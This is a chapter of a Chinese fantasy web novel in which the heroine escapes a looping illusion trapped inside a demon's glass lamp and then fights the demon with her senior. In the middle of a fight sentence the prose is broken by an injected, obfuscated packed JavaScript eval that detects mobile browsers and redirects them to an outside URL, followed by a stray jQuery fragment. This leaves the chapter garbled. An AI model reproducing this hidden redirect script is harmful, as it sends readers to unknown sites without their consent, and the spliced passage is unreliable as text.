姜念水看着昆仑镜中熟悉的身影:果然,一切都没变。
已经知道后面要发生的事情,姜念水正欲转身离开,却瞟见了石柱后的一道玄色身影。
她怎么会在这里?
之前她一直关注着镜中人,却从未发现如棠竟也偷偷地跟着她。
姜念水摩挲着手中的命簿。
方才,如棠好像很关注这命簿。
莫非,她认识这谢临渊?
见石柱后没了人影,姜念水回到了司命府。
现在,她该改命簿了。
姜念水笔尖停在命簿上空久久没能下笔。
若是这次不改命簿,这幻境是不是就能破?
她唤来门外仙娥,特地交代了这命簿不得流经他手。
话音刚落,姜念水觉得眼前一黑,她心中一喜:幻境破了!
一睁眼,仙娥拿着几本命簿放在她桌上,姜念水一脸不可置信——重来一遍?
看来,必须要改命簿了!
门外如棠走来,姜念水好不容易将她打发走。
从昆仑镜回到司命府,她马不停蹄地改了命簿。
姜念水等了一会儿,无事发生。
正当她开开心心地走出房门时,眼前忽然一黑。
不是吧,又来?
门开了,仙娥又拿来几本命簿。
姜念水盯着桌上堆成小山的命簿若有所思:既然改不改都是一样的结局,那就说明,这命簿并不是突破点。
门外如棠走来,没等她凑近,姜念水一把将命簿推到她眼前,“你来了,看吧,随便看。”
姜念水出了门。
她也许久没回司命府了,正巧这次有机会,也算是故地重游了一番。
只是……
“这幻境未免也太敷衍了!”
面前仿佛有堵无形的墙将司命府与外界隔开,姜念水沿着结界越走越觉得不对劲。
这个结界就像是个碗一样把整个司命府罩住。
“念水,你怎么在这里?”
姜念水眨眨眼,不知道幻境中的人会不会发现这道结界的存在。
“如棠,你从这里出去过吗?”
如棠的表情一僵,看了一眼姜念水身后的结界,她面无表情,眼神呆滞。
“你为什么想出去?”
如棠直勾勾地盯着她,语气毫无感情。
“你为什么要出去?”
姜念水不由得后退一步紧紧靠在结界上。
面前的女子一步一步逼近,嘴里一直在不断重复着那句话。
什么情况?
眼看如棠越靠越近,姜念水侧身躲开,“我没有要出去!”
听到这句话,如棠这才神色恢复如初,上前拉过姜念水的手腕,絮絮叨叨地说着话,仿佛刚刚什么事都没有发生一样。
姜念水回到房中,又将门外仙娥唤回。
果不其然,仙娥听到有关于结界的事后,也变得异常奇怪。
看来,制造这幻境的人并不想和她透露有关结界的事情。
天色渐晚,姜念水看向降落的斜阳,消散的日光倒映在门前小池中,呈现出不同的色彩。
她走到池边,池中的锦鲤见有人来了,立马躲在一旁的叶子下。
“啪”
什么声音?
姜念水疑惑地看向池中。
忽然,她的眼前一黑,时空倒转。
姜念水猛地睁开双眼。
每次时空重置的时候,都是同样的时辰。
而那奇怪的声音,她好像在第二次走到门前时也听到过。
看来,那声音就是“开关”呀!
她走到池边,方才没太注意,司命府的小池中,明明有六条锦鲤。
而这池中,却只有一条。
锦鲤似乎察觉到她的目光,抬眼怯怯地看了她一眼,急忙游到另一边。
“念水,你在干什么呢?”
姜念水背对着她翻了个大大的白眼,心里暗骂道:真是准时啊!
她转身立马勾起一抹假笑,将如棠推进屋门,“你来了,这里正好有几本新送来的命簿,你且好好看看!”
如棠被她按在椅子上愣愣地看着面前的小山。
姜念水将屋门锁上,提起裙角下了小池。
没错,她要抓住那条锦鲤。
锦鲤见她朝着自己抓来,急忙四处逃窜。
一人一鱼便这样在池中不知天地为何物。
姜念水擦了擦额角渗出的细汗。
“你这小鱼倒是能躲!”
锦鲤像是能听懂她的话似的,挑衅地朝她甩了甩尾巴。
姜念水气急,跨着大步朝它走去。
“诶!”
她的左脚似乎被什么东西挡住,她抓起面前的叶子往外拽,叶子下长着粗粗的根紧紧扎在淤泥中。
锦鲤见她不断地拔着叶子,连忙游回来撞着姜念水的手。
姜念水见状,更是觉得这叶子不同寻常。
她伸手将锦鲤甩到一边,随即没入水中。
当看到叶子下粗白的棉绳时,姜念水猛地抬头看向日光。
天空的日光照映在她的眼中,呈现出五颜六色的模样。
姜念水一把甩开再次游来的锦鲤,一头扎进水中。
顺着棉绳向下游了一盏茶的功夫,姜念水只觉身旁池水开始渐渐枯竭。
忽然,周身一切事物都开始分崩离析,一道彩光在她眼前绽开。
她猛然惊醒。
犬妖抬着一盏破碎的琉璃灯站在她面前。
“姜姑娘,你是第一个出来的人。”
犬妖身后,摆着五盏琉璃灯。
姜念水从地上慢慢站起,“为何要将我们困在琉璃灯中?”
犬妖将手中裂开的琉璃灯递给她,“姜姑娘不是很喜欢吗?”
“既是喜欢,为何又要毁了它?”
“因为,你这灯,着实是太丑了。”
谢到源不屑地笑了一声,身旁是碎裂一地的彩色琉璃。
犬妖听到身后的动静一扭头,恰好被谢到源打出的一掌击中,砰的一声撞在墙边,吐出一口鲜血。
“你没事吧?”
“你没事吧?”
二人对视一眼,看着彼此狼狈的模样,姜念水忍不住笑出声。
她全身都是湿的,他浑身都是干泥。
一旁的犬妖咬咬牙,幻化成三人高的妖形,后腿一蹬朝着二人袭来。
“还记得我教过你的吗?”
谢到源侧头看向身旁少女,从怀中拿出一支粉蝶白玉簪。
“当然!”
姜念水接过簪子,左手掌心冰霜凝雾,她将凝雾贯入右手玉簪,玉簪顿时被白色灵气萦绕浮在半空,她指尖凝气,随着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504458|169219||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
指尖轻轻舞动,玉簪化作一把冰锥飞速朝着面前的庞大之物刺去。
犬妖来不及躲闪,被冰锥刺倒在地。
谢到源向前将他困于原地。
“师兄,我这招如何?”
少女将发簪别在发间,她眉眼弯弯,目若朗星,将簪上粉蝶衬得愈发灵动。
谢到源眼眸动了动。
“甚好。”
姜念水笑了,露出两个浅浅的酒窝。
墙角琉璃灯轻轻碎了一道裂缝。
二人对视一眼,谢到源走到犬妖身前,冷冷开口:“放他们出来。”
犬妖将剩下四盏灯护在怀中,放声大笑,“让我放他们出来!做梦!若他们一直沉溺于幻境,那就一辈子都别想出来!”
谢到源微微弓下身子,盯着他看,嘴角的笑慢慢凝固,“就不怕我杀了你?”
闻声,犬妖轻蔑地笑着,“杀啊!杀了我,他们,不!你们都出不去!”
姜念水看向屋外。
此刻,屋外一片黑暗,只有远处隐隐约约亮着。
“师兄,有的灯灭了。”
昨夜就算是所有人都睡了,院内还是一片光亮。
姜念水走近,蹲在犬妖面前,“为何灯灭了?”
犬妖看向窗外,将怀中其中一盏灯熄灭。
只见屋外又接连灭了几盏灯。
紧接着,犬妖熄灭的那盏灯顺着方才的裂缝发出啪的一声,宗南玉从灯中被放出来。
犬妖将其余三盏灯放在他们面前,“我倒是可以放他们出来,只不过——”他指着屋外零星的几盏灯光继续道:“每放出一人,不夜天的琉璃灯就会灭几盏,当所有的灯熄灭,你们就再也出不去了。”
他靠在墙边,摊开手,“怎样,不如我替你们做个决定。”
他手指在三盏灯中来回穿梭,眼神变得越来越疯狂,他将其中一盏琉璃灯抱在怀中,“不如,留他和我永远待在这不夜天,其他两个人,我放他们出去。”
见三人没说话,他又重新换了一盏,“那他?”
“哈哈哈哈……如何,你们决定好了吗?”
“那若他们自己出来了呢?”
“啊?”
犬妖似乎有些意外,反应过来后又露出轻蔑一笑。
“姜姑娘,你倒是会说笑!”
他指尖点过三盏琉璃灯,只见每盏灯中都映衬着不同的身影。
犬妖随手指着其中一盏,“周既明,他一直被困在美梦中,他太渴望这美梦了,早已经忘了那是幻境!”
“我可以编织出你们心中最向往、执念最深的时刻,像他们这样的人,五次灯起灯灭还未从中逃脱的,那便是早已忘记了现实。”
他朝三人看看,继续道:“不如,你们都留在这里,同你们的朋友做个伴?我还有很多盏灯,我来帮你们实现愿望,如何?”
谢到源盯着屋外轻笑一声。
“这不夜天,也得改名字了。”
犬妖愣了一下。
“你说什么?”
谢到源从屋外拿来一盏熄灭的灯笼,“不夜天自此以后也不能再‘不夜’了,不如,改名叫‘永夜天’,如何?”
姜念水觉得他有些莫名其妙,不禁开口:“师兄,你这名字倒是起得随意。”
“不夜天这名字,不也很随意吗?”谢到源将灯笼扔到犬妖脚边,“你说呢?”